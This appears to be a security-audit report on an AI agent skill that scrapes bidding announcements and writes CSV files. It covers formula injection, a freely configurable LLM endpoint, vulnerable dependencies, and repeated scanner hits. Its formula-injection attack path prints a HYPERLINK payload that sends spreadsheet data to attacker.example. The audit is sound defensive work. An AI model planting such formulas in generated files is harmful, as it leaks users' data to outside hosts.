Back to skill

Security audit

AIRS招投标订单采集与核查

Security checks for vulnerabilities and agentic risk

Overview

This appears to be a legitimate robotics bidding research workflow, but it needs review because it uses a logged-in browser session, sends research records to a configurable LLM endpoint, and ships risky spreadsheet handling.

Install only in a controlled environment. Use a dedicated Chrome profile for Tianyancha remote debugging, close it after runs, and avoid processing confidential customer or internal spreadsheets unless the chosen LLM provider is approved for that data. Update or replace vulnerable spreadsheet/browser dependencies and add CSV formula neutralization before opening generated CSVs in Excel or similar tools.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
src/utils/excel.js:31
Finding

Spreadsheet Formula Injection in Generated CSV Files

Content
View full analysis
h.title).join(','); fs.writeFileSync(filePath, '\uFEFF' + headerLine + '\n', 'utf-8'); // 追加数据行(所有字段统一加双引号,避免逗号/换行/中文引号导致列错位) if (records.length > 0) { const dataLines = records.map(r => { return headers.map(h => { const val = r[h.id] == null ? '' : String(r[h.id]); return `"${val.replace(/"/g, '""')}"`; }).join(','); }).join('\n'); fs.appendFileSync(filePath, dataLines + '\n', 'utf-8'); } ``` ### Technical Analysis The CSV writer escapes quotation marks and surrounds every value with double quotes, but it does not neutralize spreadsheet formula prefixes. Spreadsheet applications may interpret a cell as a formula when its value begins with `=`, `+`, `-`, or `@`, including when the value is quoted in a CSV file. Leading tab or carriage-return characters can also be used to bypass simplistic prefix checks. The affected records may contain data derived from scraped Tianyancha pages, imported third-party spreadsheets, and LLM-generated fields. For example, `src/extract_cases.js:471-493` assigns LLM output directly to record fields that are subsequently passed to `writeCsv()`. The documented workflow instructs researchers to open and manually review generated CSV files. Consequently, this issue crosses a trust boundary from untrusted web or model content into spreadsheet software. ### Attack Path 1. An attacker places a formula-like string in a bidding announcement or another imported source field, such as: `=HYPERLINK("https://attacker.example/collect?data="&A1,"Open")` 2. The crawler imports that text, or the LLM reproduces it in a structured output field. 3. The affected value is written to `extract_results.csv`, `review_sheet.csv`, an ingestion CSV, or another generated CSV. 4. `writeCsv()` quotes the v ...[truncated 1071 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Note
Location
src/utils/llm.js:26
Finding

Unrestricted LLM Endpoint Can Receive API Credentials and Research Records

Content
View full analysis
6000 ? rawContent.substring(0, 6000) + '\n...[内容已截断]' : rawContent; const userContent = `以下是天眼查中标公告的原始页面文本。 企业名称(爬取来源):${company} 公告日期(参考):${r['发布日期'] ?? ''} 原始中标金额(参考):${r['中标金额'] ?? ''} 天眼查详情链接:${r['天眼查详情页链接'] ?? ''} --- 原始页面文本 --- ${truncated}`; // 重试机制:最多尝试 MAX_RETRIES 次,全部失败则停止脚本 const MAX_RETRIES = 5; let succeeded = false; for (let attempt = 1; attempt <= MAX_RETRIES; attempt++) { try { const llmOutput = await callLLM(SYSTEM_PROMPT, userContent); ``` ### Technical Analysis Use of an external OpenAI-compatible LLM is declared and is necessary for the Skill's extraction and quality-review functions. The default example endpoint is an HTTPS Moonshot API URL. Therefore, the outbound transmission is not covert exfiltration. However, `baseURL` is loaded from local configuration and concatenated directly into the request URL witho ...[truncated 2478 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (60)

Tp2

High
Category
MCP Tool Poisoning
Confidence
85% confidence
Finding

Mixing characters from multiple Unicode scripts in a single identifier is a common technique to create visually ambiguous tool names.

Content

No source excerpt is available for this finding.

Known Vulnerable Dependency: basic-ftp==5.2.0 — 4 advisory(ies): GHSA-6v7q-wjvx-w8wg (basic-ftp: Incomplete CRLF Injection Protection Allows Arbitrary FTP Command Exe); CVE-2026-39983 (basic-ftp has FTP Command Injection via CRLF); CVE-2026-41324 (basic-ftp vulnerable to denial of service via unbounded memory consumption in Cl) +1 more

High
Category
Supply Chain
Confidence
93% confidence
Finding

basic-ftp 5.2.0 is a real vulnerable transitive dependency in this lockfile. The reported issues include FTP command injection and DoS conditions, but in this skill it is only pulled in transitively via get-uri/proxy tooling used by Puppeteer; unless the skill processes attacker-controlled FTP URLs or PAC/proxy inputs, exploitability is constrained, though still unsafe to ship.

Content

No source excerpt is available for this finding.

Known Vulnerable Dependency: extract-zip==2.0.1 — 2 advisory(ies): CVE-2026-19693 (extract-zip allows arbitrary file writes through symlink archive entries); CVE-2026-56876 (extract-zip unvalidated symlink path traversal)

High
Category
Supply Chain
Confidence
88% confidence
Finding

extract-zip 2.0.1 has known arbitrary file write and symlink traversal issues during archive extraction. In this lockfile it is a transitive Puppeteer/browser-management dependency, so the vulnerability is real, but it is only likely reachable when downloading and extracting browser archives or other zip content, reducing direct exposure in normal skill execution.

Content

No source excerpt is available for this finding.

Known Vulnerable Dependency: ip-address==10.1.0 — 2 advisory(ies): CVE-2026-69192 (ip-address: Address4 decodes leading-zero octets as decimal while resolvers deco); CVE-2026-42338 (ip-address has XSS in Address6 HTML-emitting methods)

High
Category
Supply Chain
Confidence
80% confidence
Finding

ip-address 10.1.0 is a real vulnerable transitive dependency with issues affecting address parsing ambiguity and HTML-emitting methods. In this skill context it is likely only present through SOCKS/proxy support for Puppeteer, so unless untrusted proxy configuration or emitted HTML from this library is used, the practical risk is limited.

Content

No source excerpt is available for this finding.

Known Vulnerable Dependency: ws==8.20.0 — 2 advisory(ies): CVE-2026-45736 (ws: Uninitialized memory disclosure); CVE-2026-48779 (ws: Memory exhaustion DoS from tiny fragments and data chunks)

High
Category
Supply Chain
Confidence
90% confidence
Finding

ws 8.20.0 is a genuine vulnerable dependency with memory disclosure and memory exhaustion concerns. Because Puppeteer relies on WebSocket communication with the browser, any compromise of that channel or exposure to malicious peers could affect confidentiality or availability, though most local-only automation setups reduce exploitability compared with an Internet-facing ws server.

Content

No source excerpt is available for this finding.

Known Vulnerable Dependency: xlsx==0.18.5 — 2 advisory(ies): CVE-2023-30533 (Prototype Pollution in sheetJS); CVE-2024-22363 (SheetJS Regular Expression Denial of Service (ReDoS))

High
Category
Supply Chain
Confidence
97% confidence
Finding

xlsx 0.18.5 is a real high-risk direct dependency with known prototype pollution and ReDoS vulnerabilities. This skill explicitly appears to generate and process tabular research artifacts, making spreadsheet ingestion/export part of the likely core workflow; if attacker-supplied XLSX content is processed, this can lead to application state corruption or denial of service.

Content

No source excerpt is available for this finding.

Known Vulnerable Dependency: xlsx==0.18.5 — 2 advisory(ies): CVE-2023-30533 (Prototype Pollution in sheetJS); CVE-2024-22363 (SheetJS Regular Expression Denial of Service (ReDoS))

High
Category
Supply Chain
Confidence
99% confidence
Finding

xlsx 0.18.5 is flagged with known vulnerabilities including prototype pollution and ReDoS. In this skill's context, spreadsheet handling is central to ingestion and research workflows, so processing untrusted or semi-trusted XLSX files could enable application logic corruption, denial of service, or unsafe object manipulation during import/export operations.

Content

No source excerpt is available for this finding.

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
80% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · README.md (reported line 12)May include surrounding context.

md
| Skill | 路径 | 命令 |
| --- | --- | --- |
| 企业全称确认 | `skills/company-identity/SKILL.md` | `npm run search` |
| 天眼查中标公告采集 | `skills/bidding-crawl/SKILL.md` | `npm run crawl` |
| 第三方订单核查 | `skills/thirdparty-verify/SKILL.md` | `npm run verify` |
| 招投标案例提取 | `skills/case-extract/SKILL.md` | `npm run extract` |
| 标准入库表生成 | `skills/case-ingest/SKILL.md` | `npm run ingest` |

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
80% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · SKILL.md (reported line 45)May include surrounding context.

md
| Skill | 路径 | 命令 |
| --- | --- | --- |
| 企业全称确认 | `skills/company-identity/SKILL.md` | `npm run search` |
| 天眼查中标公告采集 | `skills/bidding-crawl/SKILL.md` | `npm run crawl` |
| 第三方订单核查 | `skills/thirdparty-verify/SKILL.md` | `npm run verify` |
| 招投标案例提取 | `skills/case-extract/SKILL.md` | `npm run extract` |
| 标准入库表生成 | `skills/case-ingest/SKILL.md` | `npm run ingest` |

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
80% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · skills/catalog.json (reported line 17)May include surrounding context.

json
| Skill | 路径 | 命令 |
| --- | --- | --- |
| 企业全称确认 | `skills/company-identity/SKILL.md` | `npm run search` |
| 天眼查中标公告采集 | `skills/bidding-crawl/SKILL.md` | `npm run crawl` |
| 第三方订单核查 | `skills/thirdparty-verify/SKILL.md` | `npm run verify` |
| 招投标案例提取 | `skills/case-extract/SKILL.md` | `npm run extract` |
| 标准入库表生成 | `skills/case-ingest/SKILL.md` | `npm run ingest` |

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
80% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · README.md (reported line 13)May include surrounding context.

md
| --- | --- | --- |
| 企业全称确认 | `skills/company-identity/SKILL.md` | `npm run search` |
| 天眼查中标公告采集 | `skills/bidding-crawl/SKILL.md` | `npm run crawl` |
| 第三方订单核查 | `skills/thirdparty-verify/SKILL.md` | `npm run verify` |
| 招投标案例提取 | `skills/case-extract/SKILL.md` | `npm run extract` |
| 标准入库表生成 | `skills/case-ingest/SKILL.md` | `npm run ingest` |
| 案例质量复查 | `skills/case-quality-review/SKILL.md` | `npm run quality:review` |

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
80% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · SKILL.md (reported line 46)May include surrounding context.

md
| --- | --- | --- |
| 企业全称确认 | `skills/company-identity/SKILL.md` | `npm run search` |
| 天眼查中标公告采集 | `skills/bidding-crawl/SKILL.md` | `npm run crawl` |
| 第三方订单核查 | `skills/thirdparty-verify/SKILL.md` | `npm run verify` |
| 招投标案例提取 | `skills/case-extract/SKILL.md` | `npm run extract` |
| 标准入库表生成 | `skills/case-ingest/SKILL.md` | `npm run ingest` |
| 案例质量复查 | `skills/case-quality-review/SKILL.md` | `npm run quality:review` |

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
80% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · skills/catalog.json (reported line 25)May include surrounding context.

json
| --- | --- | --- |
| 企业全称确认 | `skills/company-identity/SKILL.md` | `npm run search` |
| 天眼查中标公告采集 | `skills/bidding-crawl/SKILL.md` | `npm run crawl` |
| 第三方订单核查 | `skills/thirdparty-verify/SKILL.md` | `npm run verify` |
| 招投标案例提取 | `skills/case-extract/SKILL.md` | `npm run extract` |
| 标准入库表生成 | `skills/case-ingest/SKILL.md` | `npm run ingest` |
| 案例质量复查 | `skills/case-quality-review/SKILL.md` | `npm run quality:review` |

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
80% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · README.md (reported line 14)May include surrounding context.

md
| 企业全称确认 | `skills/company-identity/SKILL.md` | `npm run search` |
| 天眼查中标公告采集 | `skills/bidding-crawl/SKILL.md` | `npm run crawl` |
| 第三方订单核查 | `skills/thirdparty-verify/SKILL.md` | `npm run verify` |
| 招投标案例提取 | `skills/case-extract/SKILL.md` | `npm run extract` |
| 标准入库表生成 | `skills/case-ingest/SKILL.md` | `npm run ingest` |
| 案例质量复查 | `skills/case-quality-review/SKILL.md` | `npm run quality:review` |

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
80% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · SKILL.md (reported line 47)May include surrounding context.

md
| 企业全称确认 | `skills/company-identity/SKILL.md` | `npm run search` |
| 天眼查中标公告采集 | `skills/bidding-crawl/SKILL.md` | `npm run crawl` |
| 第三方订单核查 | `skills/thirdparty-verify/SKILL.md` | `npm run verify` |
| 招投标案例提取 | `skills/case-extract/SKILL.md` | `npm run extract` |
| 标准入库表生成 | `skills/case-ingest/SKILL.md` | `npm run ingest` |
| 案例质量复查 | `skills/case-quality-review/SKILL.md` | `npm run quality:review` |

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
80% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · skills/catalog.json (reported line 33)May include surrounding context.

json
| 企业全称确认 | `skills/company-identity/SKILL.md` | `npm run search` |
| 天眼查中标公告采集 | `skills/bidding-crawl/SKILL.md` | `npm run crawl` |
| 第三方订单核查 | `skills/thirdparty-verify/SKILL.md` | `npm run verify` |
| 招投标案例提取 | `skills/case-extract/SKILL.md` | `npm run extract` |
| 标准入库表生成 | `skills/case-ingest/SKILL.md` | `npm run ingest` |
| 案例质量复查 | `skills/case-quality-review/SKILL.md` | `npm run quality:review` |

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
80% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · README.md (reported line 15)May include surrounding context.

md
| 天眼查中标公告采集 | `skills/bidding-crawl/SKILL.md` | `npm run crawl` |
| 第三方订单核查 | `skills/thirdparty-verify/SKILL.md` | `npm run verify` |
| 招投标案例提取 | `skills/case-extract/SKILL.md` | `npm run extract` |
| 标准入库表生成 | `skills/case-ingest/SKILL.md` | `npm run ingest` |
| 案例质量复查 | `skills/case-quality-review/SKILL.md` | `npm run quality:review` |

## Quick Start

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
80% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · SKILL.md (reported line 48)May include surrounding context.

md
| 天眼查中标公告采集 | `skills/bidding-crawl/SKILL.md` | `npm run crawl` |
| 第三方订单核查 | `skills/thirdparty-verify/SKILL.md` | `npm run verify` |
| 招投标案例提取 | `skills/case-extract/SKILL.md` | `npm run extract` |
| 标准入库表生成 | `skills/case-ingest/SKILL.md` | `npm run ingest` |
| 案例质量复查 | `skills/case-quality-review/SKILL.md` | `npm run quality:review` |

## Quick Start

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
80% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · skills/catalog.json (reported line 41)May include surrounding context.

json
| 天眼查中标公告采集 | `skills/bidding-crawl/SKILL.md` | `npm run crawl` |
| 第三方订单核查 | `skills/thirdparty-verify/SKILL.md` | `npm run verify` |
| 招投标案例提取 | `skills/case-extract/SKILL.md` | `npm run extract` |
| 标准入库表生成 | `skills/case-ingest/SKILL.md` | `npm run ingest` |
| 案例质量复查 | `skills/case-quality-review/SKILL.md` | `npm run quality:review` |

## Quick Start

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
80% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · README.md (reported line 16)May include surrounding context.

md
| 第三方订单核查 | `skills/thirdparty-verify/SKILL.md` | `npm run verify` |
| 招投标案例提取 | `skills/case-extract/SKILL.md` | `npm run extract` |
| 标准入库表生成 | `skills/case-ingest/SKILL.md` | `npm run ingest` |
| 案例质量复查 | `skills/case-quality-review/SKILL.md` | `npm run quality:review` |

## Quick Start

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
80% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · SKILL.md (reported line 49)May include surrounding context.

md
| 第三方订单核查 | `skills/thirdparty-verify/SKILL.md` | `npm run verify` |
| 招投标案例提取 | `skills/case-extract/SKILL.md` | `npm run extract` |
| 标准入库表生成 | `skills/case-ingest/SKILL.md` | `npm run ingest` |
| 案例质量复查 | `skills/case-quality-review/SKILL.md` | `npm run quality:review` |

## Quick Start

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
80% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · skills/catalog.json (reported line 49)May include surrounding context.

json
| 第三方订单核查 | `skills/thirdparty-verify/SKILL.md` | `npm run verify` |
| 招投标案例提取 | `skills/case-extract/SKILL.md` | `npm run extract` |
| 标准入库表生成 | `skills/case-ingest/SKILL.md` | `npm run ingest` |
| 案例质量复查 | `skills/case-quality-review/SKILL.md` | `npm run quality:review` |

## Quick Start

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
88% confidence
Finding

The skill explicitly instructs the operator to access Tianyancha, use Chrome remote debugging, and run npm commands that perform web crawling, which implies network-capable behavior. However, the manifest declares no explicit tool scope such as permissions or allowed-tools, creating a mismatch between documented behavior and declared capability boundaries. This weakens least-privilege controls and can allow broader-than-expected network access when the skill is executed.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · config/settings.example.json (reported line 5)May include surrounding context.

json
"llm": {
    "provider": "openai-compatible",
    "openaiCompatible": {
      "baseURL": "https://api.moonshot.cn/v1",
      "apiKey": "REPLACE_WITH_YOUR_API_KEY",
      "model": "moonshot-v1-32k",
      "maxTokens": 2000

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
81% confidence
Finding

The manifest description is written only in Chinese ("AIRS 具身智能产业研究 Skills"), which may indicate a language-specific constraint without any accompanying opt-in, multilingual alternative, or justification. For policy review, a single-language presentation can be a locale policy issue when the skill does not explicitly offer user language choice.

Content

No source excerpt is available for this finding.